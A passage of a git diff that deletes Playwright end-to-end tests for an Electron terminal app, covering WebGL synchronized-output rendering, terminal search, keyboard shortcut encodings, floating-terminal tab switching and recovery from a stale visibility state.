expect(await hasWebgl(), 'renderer swapped back to WebGL').toBe(true) - const afterSwap = await captureFirstRevealedFrame(orcaPage, tabId) - const swapDiff = compareTerminalScreenshots(coherent, afterSwap) - - // A painted canvas keeps honoring DEC 2026: the next frame's cells stay hidden until it closes. - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'PENDING_FRAME', - background: 52, - release: false - }) - await orcaPage.evaluate((tabId) => { - window.__paneManagers?.get(tabId)?.scheduleRevealPresent() - }, tabId) - // Let the settled-frame present run before capturing, so the held check is not vacuous. - await orcaPage.evaluate( - () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))) - ) - const held = await captureFirstRevealedFrame(orcaPage, tabId) - const heldDiff = compareTerminalScreenshots(coherent, held) - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'PENDING_FRAME', - background: 52, - release: true - }) - const released = await captureStableTabScreenshot(orcaPage, tabId) - - const afterSwapPath = testInfo.outputPath('spinner-canvas-after-swap.png') - await writeFile(afterSwapPath, afterSwap) - await testInfo.attach('spinner-canvas-after-swap.png', { - path: afterSwapPath, - contentType: 'image/png' - }) - expect( - swapDiff.matches, - `new canvas shows the pane, not a blank, while DEC 2026 is open (diffRatio=${swapDiff.diffRatio})` - ).toBe(true) - expect( - heldDiff.matches, - `painted canvas keeps the coherent frame while DEC 2026 is held (diffRatio=${heldDiff.diffRatio})` - ).toBe(true) - expect( - compareTerminalScreenshots(coherent, released).matches, - 'release presents the new frame' - ).toBe(false) - }) - - test('@headful atlas recovery keeps the coherent frame until synchronized output releases', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const tabId = (await getActiveTabId(orcaPage))! - await forceWebglOn(orcaPage, tabId) - const webglAttached = await orcaPage - .waitForFunction( - (tabId) => - (window.__paneManagers?.get(tabId)?.getRenderingDiagnostics?.() ?? []).some( - (diagnostic) => diagnostic.hasWebgl - ), - tabId, - { timeout: 15_000 } - ) - .then(() => true) - .catch(() => false) - test.skip(!webglAttached, 'WebGL renderer is unavailable') - if (!webglAttached) { - return - } - const installed = await installSynchronizedRevealProbe(orcaPage, tabId) - expect(installed, 'WebGL renderer internals are available').toBe(true) - - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'BASELINE_FRAME', - background: 17, - release: true - }) - const baseline = await captureStableTabScreenshot(orcaPage, tabId) - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'REVEALED_FRAME', - background: 52, - release: false - }) - const held = await readSynchronizedRevealProbe(orcaPage) - expect(held.synchronizedOutput).toBe(true) - expect(held.screen).toContain('REVEALED_FRAME') - - await orcaPage.evaluate((tabId) => { - window.__paneManagers?.get(tabId)?.scheduleRevealRepaint() - }, tabId) - await expect - .poll(async () => (await readSynchronizedRevealProbe(orcaPage)).atlasClears) - .toBeGreaterThan(0) - // Why not a stable capture: the atlas clear's redraw starts xterm's 1s DEC 2026 safety timeout. - const afterReveal = await captureFirstRevealedFrame(orcaPage, tabId) - const heldDiff = compareTerminalScreenshots(baseline, afterReveal) - - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'REVEALED_FRAME', - background: 52, - release: true - }) - const released = await captureStableTabScreenshot(orcaPage, tabId) - await callSynchronizedRevealProbe(orcaPage, 'forceRendererPresent') - const direct = await captureStableTabScreenshot(orcaPage, tabId) - const releasedDiff = compareTerminalScreenshots(released, direct) - const afterRevealPath = testInfo.outputPath('synchronized-frame-after-reveal.png') - const releasedPath = testInfo.outputPath('synchronized-frame-after-release.png') - const pixelDiffPath = testInfo.outputPath('synchronized-frame-pixel-diff.json') - await Promise.all([ - writeFile(afterRevealPath, afterReveal), - writeFile(releasedPath, released), - writeFile(pixelDiffPath, JSON.stringify({ heldDiff, releasedDiff }, null, 2)) - ]) - for (const [name, path, contentType] of [ - ['synchronized-frame-after-reveal.png', afterRevealPath, 'image/png'], - ['synchronized-frame-after-release.png', releasedPath, 'image/png'], - ['synchronized-frame-pixel-diff.json', pixelDiffPath, 'application/json'] - ] as const) { - await testInfo.attach(name, { path, contentType }) - } - expect( - heldDiff.matches, - `atlas recovery keeps the coherent frame while DEC 2026 is held (diffRatio=${heldDiff.diffRatio})` - ).toBe(true) - expect( - compareTerminalScreenshots(baseline, released).matches, - 'release replaces the coherent frame' - ).toBe(false) - expect( - releasedDiff.matches, - `release presents the completed frame (diffRatio=${releasedDiff.diffRatio})` - ).toBe(true) - }) - - test('@headful reveal preserves the coherent frame until synchronized output releases', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const tabId = (await getActiveTabId(orcaPage))! - const worktreeId = (await getActiveWorktreeId(orcaPage))! - await forceWebglOn(orcaPage, tabId) - const webglAttached = await orcaPage - .waitForFunction( - (tabId) => - (window.__paneManagers?.get(tabId)?.getRenderingDiagnostics?.() ?? []).some( - (diagnostic) => diagnostic.hasWebgl - ), - tabId, - { timeout: 15_000 } - ) - .then(() => true) - .catch(() => false) - test.skip(!webglAttached, 'WebGL renderer is unavailable') - if (!webglAttached) { - return - } - expect(await installSynchronizedRevealProbe(orcaPage, tabId)).toBe(true) - - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'COHERENT_FRAME', - background: 17, - release: true - }) - const coherent = await captureStableTabScreenshot(orcaPage, tabId) - const beforeHide = await readSynchronizedRevealProbe(orcaPage) - const siblingTabId = await orcaPage.evaluate((worktreeId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Renderer store unavailable') - } - return state.createTab(worktreeId, undefined, undefined, { activate: false }).id - }, worktreeId) - await orcaPage.evaluate( - (siblingTabId) => window.__store?.getState().setActiveTab(siblingTabId), - siblingTabId - ) - await expect(orcaPage.locator(`[data-terminal-tab-id="${tabId}"]`)).toBeHidden() - - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'PENDING_FRAME', - background: 52, - release: false - }) - await orcaPage.evaluate((tabId) => window.__store?.getState().setActiveTab(tabId), tabId) - await expect.poll(() => getActiveTabId(orcaPage)).toBe(tabId) - const held = await captureFirstRevealedFrame(orcaPage, tabId) - const heldState = await readSynchronizedRevealProbe(orcaPage) - const heldDiff = compareTerminalScreenshots(coherent, held) - - expect(heldState.synchronizedOutput).toBe(true) - expect(heldState.screen).toContain('PENDING_FRAME') - expect(heldState.atlasClears - beforeHide.atlasClears, 'ordinary reveal atlas clears').toBe(0) - expect( - heldDiff.matches, - `held reveal preserves the coherent frame (diffRatio=${heldDiff.diffRatio})` - ).toBe(true) - - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'PENDING_FRAME', - background: 52, - release: true - }) - const released = await captureStableTabScreenshot(orcaPage, tabId) - const releaseState = await readSynchronizedRevealProbe(orcaPage) - await callSynchronizedRevealProbe(orcaPage, 'forceRendererPresent') - const direct = await captureStableTabScreenshot(orcaPage, tabId) - const releasedDiff = compareTerminalScreenshots(released, direct) - - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'WATCHDOG_FRAME', - background: 88, - release: false - }) - const beforeWatchdog = await readSynchronizedRevealProbe(orcaPage) - await orcaPage.evaluate((tabId) => { - window.__paneManagers?.get(tabId)?.scheduleRevealPresent() - }, tabId) - await expect - .poll(async () => (await readSynchronizedRevealProbe(orcaPage)).synchronizedOutput, { - timeout: 2_500 - }) - .toBe(false) - const watchdog = await captureStableTabScreenshot(orcaPage, tabId) - const watchdogState = await readSynchronizedRevealProbe(orcaPage) - await callSynchronizedRevealProbe(orcaPage, 'forceRendererPresent') - const watchdogDirect = await captureStableTabScreenshot(orcaPage, tabId) - const watchdogDiff = compareTerminalScreenshots(watchdog, watchdogDirect) - const coherentPath = testInfo.outputPath('synchronized-coherent-before-hide.png') - const heldPath = testInfo.outputPath('synchronized-coherent-while-held.png') - const releasedPath = testInfo.outputPath('synchronized-new-frame-after-release.png') - const watchdogPath = testInfo.outputPath('synchronized-new-frame-after-watchdog.png') - const metricsPath = testInfo.outputPath('synchronized-prevention-metrics.json') - const counts = (state: Awaited>) => ({ - atlasClears: state.atlasClears, - fullViewportRenderRows: state.fullViewportRenderRows, - synchronizedOutput: state.synchronizedOutput - }) - await Promise.all([ - writeFile(coherentPath, coherent), - writeFile(heldPath, held), - writeFile(releasedPath, released), - writeFile(watchdogPath, watchdog), - writeFile( - metricsPath, - JSON.stringify( - { - beforeHide: counts(beforeHide), - heldState: counts(heldState), - releaseState: counts(releaseState), - beforeWatchdog: counts(beforeWatchdog), - watchdogState: counts(watchdogState), - heldDiff, - releasedDiff, - watchdogDiff - }, - null, - 2 - ) - ) - ]) - for (const [name, path] of [ - ['synchronized-coherent-before-hide.png', coherentPath], - ['synchronized-coherent-while-held.png', heldPath], - ['synchronized-new-frame-after-release.png', releasedPath], - ['synchronized-new-frame-after-watchdog.png', watchdogPath], - ['synchronized-prevention-metrics.json', metricsPath] - ] as const) { - await testInfo.attach(name, { - path, - contentType: name.endsWith('.json') ? 'application/json' : 'image/png' - }) - } - expect(releaseState.synchronizedOutput).toBe(false) - expect( - releasedDiff.matches, - `released frame matches a direct renderer present (diffRatio=${releasedDiff.diffRatio})` - ).toBe(true) - expect(watchdogState.atlasClears - beforeWatchdog.atlasClears).toBe(0) - expect( - watchdogDiff.matches, - `watchdog frame matches a direct renderer present (diffRatio=${watchdogDiff.diffRatio})` - ).toBe(true) - }) -}) diff --git a/tests/e2e/terminal-search-results.spec.ts b/tests/e2e/terminal-search-results.spec.ts deleted file mode 100644 index f9451a39ee2..00000000000 --- a/tests/e2e/terminal-search-results.spec.ts +++ /dev/null @@ -1,61 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - focusActiveTerminalInput, - getTerminalContent, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -test('terminal search counts real matches and repeat find selects the query', async ({ - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const ptyId = await waitForActivePanePtyId(orcaPage) - for (let line = 0; line < 3; line++) { - await execInTerminal(orcaPage, ptyId, 'echo orca-search-proof') - } - await expect - .poll( - async () => - (await getTerminalContent(orcaPage)) - .split(/\r?\n/) - .filter((line) => line.trim() === 'orca-search-proof').length - ) - .toBe(3) - await focusActiveTerminalInput(orcaPage) - const modifier = process.platform === 'darwin' ? 'Meta' : 'Control' - await orcaPage.keyboard.press(`${modifier}+f`) - const search = orcaPage.locator('[data-terminal-search-root]') - const input = search.locator('input') - await expect(input).toBeFocused() - await search.getByTitle('Regex', { exact: true }).click() - const query = '^orca-search-proof$' - await input.fill(query) - await expect(search).toContainText(/[1-3]\/3/) - const initialCount = await search.innerText() - await input.press('Enter') - await expect.poll(() => search.innerText()).not.toBe(initialCount) - await orcaPage.screenshot({ path: testInfo.outputPath('search-results.png') }) - await input.press('ArrowLeft') - await orcaPage.keyboard.press(`${modifier}+f`) - await expect(input).toBeFocused() - await expect - .poll(() => - input.evaluate((element) => - element instanceof HTMLInputElement - ? { start: element.selectionStart, end: element.selectionEnd } - : null - ) - ) - .toEqual({ start: 0, end: query.length }) - await orcaPage.screenshot({ path: testInfo.outputPath('search-query-selected.png') }) - await input.fill('no-such-search-result-314159') - await expect(search).toContainText('No results') - await input.press('Escape') - await expect(search).toBeHidden() -}) diff --git a/tests/e2e/terminal-shortcuts.spec.ts b/tests/e2e/terminal-shortcuts.spec.ts deleted file mode 100644 index 32f92432ec2..00000000000 --- a/tests/e2e/terminal-shortcuts.spec.ts +++ /dev/null @@ -1,359 +0,0 @@ -// Drive DOM keydown→capture→policy→transport→IPC for every terminal chord. -// Intercept main pty:write for exact bytes without OS-specific readline; assert action effects through panes/search/buffer. -// Skip platform-only chords where runtime policy would never emit them. - -import { test, expect } from './helpers/orca-app' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../src/shared/workspace/identity/floating-workspace-id' -import { - execInTerminal, - waitForActiveTerminalManager, - waitForTerminalOutput, - waitForPaneCount, - waitForActivePanePtyId, - focusActiveTerminalInput -} from './helpers/terminal' -import { waitForSessionReady, waitForActiveWorktree, ensureTerminalVisible } from './helpers/store' -import { - clearTerminalPtyWriteLog as clearPtyWriteLog, - installTerminalPtyWriteSpy as installMainProcessPtyWriteSpy, - readTerminalPtyWrites as getPtyWrites -} from './helpers/terminal-pty-write-spy' -import './helpers/terminal-kitty-keyboard' - -async function setActivePaneForegroundAgent( - page: Page, - agent: 'droid' | 'antigravity' | null -): Promise { - return page.evaluate((agent) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!state || !tabId || !pane) { - throw new Error('No active terminal pane for foreground-agent setup') - } - const paneKey = `${tabId}:${pane.leafId}` - state.setPaneForegroundAgent(paneKey, { - agent, - shellForeground: false, - // The shortcut only emits CSI-u for a process identity confirmed to - // belong to this PTY; keep the fixture aligned with that trust gate. - routingTrusted: agent === 'droid' - }) - return paneKey - }, agent) -} - -async function focusFloatingTerminal(page: Page): Promise { - await page - .locator( - `[data-floating-terminal-panel][aria-hidden="false"] [data-terminal-tab-id] .xterm-helper-textarea` - ) - .first() - .focus() -} - -async function seedFloatingTerminalTabSwitchScenario(page: Page): Promise<{ - backgroundFirstTabId: string - floatingFirstTabId: string - floatingSecondTabId: string -}> { - return page.evaluate((floatingWorktreeId) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const backgroundWorktreeId = state.activeWorktreeId - if (!backgroundWorktreeId) { - throw new Error('No active background worktree') - } - - const backgroundFirst = - state.tabsByWorktree[backgroundWorktreeId]?.find( - (tab) => tab.id === state.activeTabIdByWorktree[backgroundWorktreeId] - ) ?? - state.tabsByWorktree[backgroundWorktreeId]?.find((tab) => tab.id === state.activeTabId) ?? - state.createTab(backgroundWorktreeId) - state.createTab(backgroundWorktreeId) - state.setActiveTab(backgroundFirst.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - - const floatingFirst = state.createTab(floatingWorktreeId, undefined, undefined, { - activate: false - }) - state.activateTab(floatingFirst.id) - const floatingGroupId = - state.activeGroupIdByWorktree[floatingWorktreeId] ?? - state.groupsByWorktree[floatingWorktreeId]?.[0]?.id - const floatingSecond = state.createTab(floatingWorktreeId, floatingGroupId, undefined, { - activate: false - }) - state.activateTab(floatingFirst.id) - - return { - backgroundFirstTabId: backgroundFirst.id, - floatingFirstTabId: floatingFirst.id, - floatingSecondTabId: floatingSecond.id - } - }, FLOATING_TERMINAL_WORKTREE_ID) -} - -async function getActiveFloatingTerminalTabId(page: Page): Promise { - return page.evaluate((floatingWorktreeId) => { - const state = window.__store?.getState() - if (!state) { - return null - } - const groupId = state.activeGroupIdByWorktree[floatingWorktreeId] - const group = - (groupId - ? state.groupsByWorktree[floatingWorktreeId]?.find((candidate) => candidate.id === groupId) - : null) ?? - state.groupsByWorktree[floatingWorktreeId]?.find((candidate) => candidate.activeTabId) ?? - null - const activeTab = group?.activeTabId - ? state.unifiedTabsByWorktree[floatingWorktreeId]?.find((tab) => tab.id === group.activeTabId) - : null - return activeTab?.contentType === 'terminal' ? activeTab.entityId : null - }, FLOATING_TERMINAL_WORKTREE_ID) -} - -async function getActiveBackgroundTerminalTabId(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - return worktreeId ? (state.activeTabIdByWorktree[worktreeId] ?? state.activeTabId) : null - }) -} - -async function getActiveTerminalViewport( - page: Page -): Promise<{ viewportY: number; baseY: number }> { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const buffer = pane?.terminal.buffer.active - if (!buffer) { - throw new Error('No active terminal buffer') - } - return { - viewportY: buffer.viewportY, - baseY: buffer.baseY - } - }) -} - -async function pressAndExpectWrite( - page: Page, - app: ElectronApplication, - chord: string, - expectedData: string, - repetitions = 1 -): Promise { - await clearPtyWriteLog(app) - await focusActiveTerminalInput(page) - for (let index = 0; index < repetitions; index++) { - await page.keyboard.press(chord) - } - - // Match exact bytes: single control codes can occur inside unrelated prompt/paste writes. - await expect - .poll(async () => (await getPtyWrites(app)).filter((write) => write === expectedData).length, { - timeout: 5_000, - message: `Expected chord "${chord}" to write ${JSON.stringify(expectedData)}` - }) - .toBeGreaterThanOrEqual(repetitions) -} - -const isMac = process.platform === 'darwin' -const mod = isMac ? 'Meta' : 'Control' - -// Serialize shared layout/buffer/expand state and the singleton main pty:write spy to prevent interleaved chord effects. -test.describe.configure({ mode: 'serial' }) -test.describe('Terminal Shortcuts', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const hasPaneManager = await waitForActiveTerminalManager(orcaPage, 30_000) - .then(() => true) - .catch(() => false) - test.skip( - !hasPaneManager, - 'Electron automation in this environment never mounts the live TerminalPane manager.' - ) - await waitForPaneCount(orcaPage, 1, 30_000) - }) - - test('Droid gets CSI-u Shift+Enter on Windows without changing Antigravity', async ({ - orcaPage, - electronApp - }) => { - test.skip(process.platform !== 'win32', 'Windows ConPTY encoding contract') - await installMainProcessPtyWriteSpy(electronApp) - await waitForActivePanePtyId(orcaPage) - const paneKey = await setActivePaneForegroundAgent(orcaPage, 'droid') - try { - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b[13;2u', 2) - await setActivePaneForegroundAgent(orcaPage, 'antigravity') - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b\r') - } finally { - await orcaPage.evaluate( - (key) => window.__store?.getState().clearPaneForegroundAgent(key), - paneKey - ) - } - }) - - test('Windows forwards genuine Ctrl+Alt text chords to the PTY', async ({ - orcaPage, - electronApp - }) => { - test.skip(process.platform !== 'win32', 'Windows xterm AltGr classification regression') - await installMainProcessPtyWriteSpy(electronApp) - await waitForActivePanePtyId(orcaPage) - - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Alt+u', '\x1b\x15') - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Alt+2', '\x1b2') - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Alt+;', '\x1b;') - }) - - test('Ctrl+Enter protects local ConPTY shells without breaking trusted TUI chords', async ({ - orcaPage, - electronApp - }) => { - await installMainProcessPtyWriteSpy(electronApp) - await waitForActivePanePtyId(orcaPage) - - if (process.platform === 'win32') { - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\r') - const paneKey = await setActivePaneForegroundAgent(orcaPage, 'droid') - try { - // Droid queries CSI-u without activating live flags; trusted process evidence preserves cue/queue. - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\x1b[13;5u') - } finally { - await orcaPage.evaluate( - (key) => window.__store?.getState().clearPaneForegroundAgent(key), - paneKey - ) - } - return - } - - // Preserve the established query-only Droid/Grok contract outside local ConPTY. - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\x1b[13;5u') - }) - - test('floating terminal owns tab switch shortcuts while focused', async ({ orcaPage }) => { - const scenario = await seedFloatingTerminalTabSwitchScenario(orcaPage) - await orcaPage.evaluate(async () => { - const state = window.__store?.getState() - if (state?.settings?.floatingTerminalEnabled !== true) { - await state?.updateSettings({ floatingTerminalEnabled: true }) - } - if (!document.querySelector('[data-floating-terminal-panel][aria-hidden="false"]')) { - window.dispatchEvent(new CustomEvent('orca-toggle-floating-terminal')) - } - }) - await expect( - orcaPage.locator('[data-floating-terminal-panel][aria-hidden="false"]') - ).toBeVisible() - await focusFloatingTerminal(orcaPage) - - await orcaPage.keyboard.press(`${mod}+Shift+BracketRight`) - await expect - .poll(() => getActiveFloatingTerminalTabId(orcaPage), { - timeout: 5_000, - message: 'floating terminal did not switch to the next tab' - }) - .toBe(scenario.floatingSecondTabId) - await expect - .poll(() => getActiveBackgroundTerminalTabId(orcaPage), { - timeout: 1_000, - message: 'background terminal tab changed while floating terminal was focused' - }) - .toBe(scenario.backgroundFirstTabId) - - await focusFloatingTerminal(orcaPage) - await orcaPage.keyboard.press(`${mod}+Shift+BracketLeft`) - await expect - .poll(() => getActiveFloatingTerminalTabId(orcaPage), { - timeout: 5_000, - message: 'floating terminal did not switch back to the previous tab' - }) - .toBe(scenario.floatingFirstTabId) - await expect(getActiveBackgroundTerminalTabId(orcaPage)).resolves.toBe( - scenario.backgroundFirstTabId - ) - }) - - test('Cmd+Up/Down scrolls terminal viewport without writing to the PTY on macOS', async ({ - orcaPage, - electronApp - }) => { - test.skip(!isMac, 'Cmd+Up/Down terminal scroll navigation is macOS-only') - - await installMainProcessPtyWriteSpy(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = `CMD_ARROW_SCROLL_${Date.now()}` - await execInTerminal(orcaPage, ptyId, `for i in {1..120}; do echo ${marker}_$i; done`) - await waitForTerminalOutput(orcaPage, `${marker}_120`) - - await expect - .poll( - async () => { - const viewport = await getActiveTerminalViewport(orcaPage) - return viewport.baseY > 0 && viewport.viewportY === viewport.baseY - }, - { - timeout: 5_000, - message: 'terminal did not settle at the bottom with scrollback for Cmd+Up/Down repro' - } - ) - .toBe(true) - - await clearPtyWriteLog(electronApp) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press('Meta+ArrowUp') - await expect - .poll(async () => getActiveTerminalViewport(orcaPage), { - timeout: 5_000, - message: 'Cmd+Up did not scroll the terminal viewport to the top' - }) - .toMatchObject({ viewportY: 0 }) - expect(await getPtyWrites(electronApp)).toEqual([]) - - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press('Meta+ArrowDown') - await expect - .poll( - async () => { - const viewport = await getActiveTerminalViewport(orcaPage) - return viewport.viewportY === viewport.baseY - }, - { - timeout: 5_000, - message: 'Cmd+Down did not scroll the terminal viewport to the bottom' - } - ) - .toBe(true) - expect(await getPtyWrites(electronApp)).toEqual([]) - }) -}) diff --git a/tests/e2e/terminal-stuck-occlusion-recovery.spec.ts b/tests/e2e/terminal-stuck-occlusion-recovery.spec.ts deleted file mode 100644 index af8f920678f..00000000000 --- a/tests/e2e/terminal-stuck-occlusion-recovery.spec.ts +++ /dev/null @@ -1,131 +0,0 @@ -// v1.4.124-rc.2.perf (2026-07-06): macOS display-sleep occlusion stuck hidden, dropping 78MB across two visible PTYs despite healthy transport. -// Pin hidden with one final visibilitychange, then require a real keystroke to prove staleness, unlatch delivery and restore missed output without reload/event. -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady, waitForActiveWorktree, ensureTerminalVisible } from './helpers/store' -import { - waitForActiveTerminalManager, - waitForActivePanePtyId, - execInTerminal, - getTerminalContent -} from './helpers/terminal' - -type DeliverySnapshot = { - hiddenDeliveryGatedPtyCount: number - hiddenDeliveryGatedVisiblePtyCount: number - hiddenDeliveryDroppedChars: number -} - -async function getDeliverySnapshot(page: Page): Promise { - return page.evaluate(async () => { - const snapshot = await window.api.pty.getRendererDeliveryDebugSnapshot() - return { - hiddenDeliveryGatedPtyCount: snapshot.hiddenDeliveryGatedPtyCount, - hiddenDeliveryGatedVisiblePtyCount: snapshot.hiddenDeliveryGatedVisiblePtyCount, - hiddenDeliveryDroppedChars: snapshot.hiddenDeliveryDroppedChars - } - }) -} - -test.describe('terminal stuck-occlusion recovery', () => { - test.afterEach(async ({ orcaPage }) => { - // Remove the instance override and emit visibilitychange so the real prototype state restores tracker trust. - await orcaPage.evaluate(() => { - delete (document as { visibilityState?: string }).visibilityState - document.dispatchEvent(new Event('visibilitychange')) - }) - }) - - test('a keystroke unlatches the hidden-delivery gate wedged by stale visibilityState', async ({ - orcaPage - }) => { - test.setTimeout(120_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - - // Live baseline: foreground delivery works. The $((…)) arithmetic keeps - // the asserted string out of the typed command's local echo. - await execInTerminal(orcaPage, ptyId, 'echo live-before-$((41+1))') - await expect - .poll(async () => getTerminalContent(orcaPage), { timeout: 15_000 }) - .toContain('live-before-42') - - // Emulate the Chromium occlusion wedge: visibilityState pins at 'hidden', - // one last visibilitychange fires, then the tracker goes silent forever. - await orcaPage.evaluate(() => { - Object.defineProperty(document, 'visibilityState', { - get: () => 'hidden', - configurable: true - }) - document.dispatchEvent(new Event('visibilitychange')) - }) - - // The visible pane's pty gets marked hidden in main — the field state: - // gate holding a pty that main's own visibility set says is visible. - await expect - .poll(async () => (await getDeliverySnapshot(orcaPage)).hiddenDeliveryGatedPtyCount, { - timeout: 15_000 - }) - .toBeGreaterThan(0) - expect( - (await getDeliverySnapshot(orcaPage)).hiddenDeliveryGatedVisiblePtyCount - ).toBeGreaterThan(0) - - // The freeze repro: output produced now is dropped by main, not painted. - const droppedBefore = (await getDeliverySnapshot(orcaPage)).hiddenDeliveryDroppedChars - await execInTerminal(orcaPage, ptyId, 'echo occluded-$((70+8))') - await expect - .poll(async () => (await getDeliverySnapshot(orcaPage)).hiddenDeliveryDroppedChars, { - timeout: 15_000 - }) - .toBeGreaterThan(droppedBefore) - expect(await getTerminalContent(orcaPage)).not.toContain('occluded-78') - - // The staleness proof: one real keystroke while the document claims - // hidden. No visibilitychange fires — recovery must ride the proof alone. - await orcaPage.keyboard.press('Shift') - - // Gate unlatches and the missed output repaints from the main-owned - // snapshot — no reload, visibilityState still reads 'hidden'. - await expect - .poll(async () => getTerminalContent(orcaPage), { timeout: 30_000 }) - .toContain('occluded-78') - await expect - .poll(async () => (await getDeliverySnapshot(orcaPage)).hiddenDeliveryGatedVisiblePtyCount, { - timeout: 15_000 - }) - .toBe(0) - - // Live delivery continues under the override. - await execInTerminal(orcaPage, ptyId, 'echo live-after-$((200+56))') - await expect - .poll(async () => getTerminalContent(orcaPage), { timeout: 15_000 }) - .toContain('live-after-256') - - // Require episode history in renderer breadcrumbs and main’s per-PTY table for the production one-paste freeze path. - const report = await orcaPage.evaluate(() => - ( - window as Window & { - __orcaTerminalFreezeReport?: () => Promise<{ - renderer: { breadcrumbs: { kind: string }[]; documentVisibilityProvenStale: boolean } - main: { diagnostics: { perPty: unknown[]; breadcrumbs: { kind: string }[] } } - }> - } - ).__orcaTerminalFreezeReport?.() - ) - if (!report) { - throw new Error('freeze report global missing from prod-path renderer') - } - expect(report.renderer.documentVisibilityProvenStale).toBe(true) - const rendererKinds = report.renderer.breadcrumbs.map((crumb) => crumb.kind) - expect(rendererKinds).toContain('stale-visibility-latch') - expect(rendererKinds).toContain('renderer-gate-unmark') - expect(report.main.diagnostics.perPty.length).toBeGreaterThan(0) - const mainKinds = report.main.diagnostics.breadcrumbs.map((crumb) => crumb.kind) - expect(mainKinds).toContain('gate-mark') - expect(mainKinds).toContain('gate-unmark') - }) -}) diff --git a/tests/e2e/terminal-tab-close-restart-persistence.spec.ts b/tests/e2e/terminal-tab-close-restart-persistence.spec.ts deleted file mode 100644 index d1fbdfb93cb..00000000000 --- a/tests/e2e/terminal-tab-close-restart-persistence.spec.ts +++ /dev/null @@ -1,193 +0,0 @@ -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { waitForActiveTerminalManager, waitForPaneCount } from './helpers/terminal' -import { - ensureTerminalVisible, - getActiveTabId, - getWorktreeTabs, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { worktreeRowSurface } from './worktree-row-locators' -import { readFreshTerminalInventory } from './helpers/terminal-inventory-observation' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { RuntimeRpcFailureError } from '../../src/cli/runtime/connection/types' -import type { - RuntimeTerminalClose, - RuntimeTerminalListResult, - RuntimeTerminalSplit -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeWorktreeRecord } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' - -test.describe.configure({ mode: 'serial' }) - -test('durable whole-tab close removes a split tab across restart', async (// oxlint-disable-next-line no-empty-pattern -- This lifecycle test owns both Electron launches and intentionally opts out of the default app fixture. -{}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const worktreeId = await attachRepoAndOpenTerminal(firstLaunch.page, repoPath) - await waitForSessionReady(firstLaunch.page) - await waitForActiveWorktree(firstLaunch.page) - await ensureTerminalVisible(firstLaunch.page) - - const hasPaneManager = await 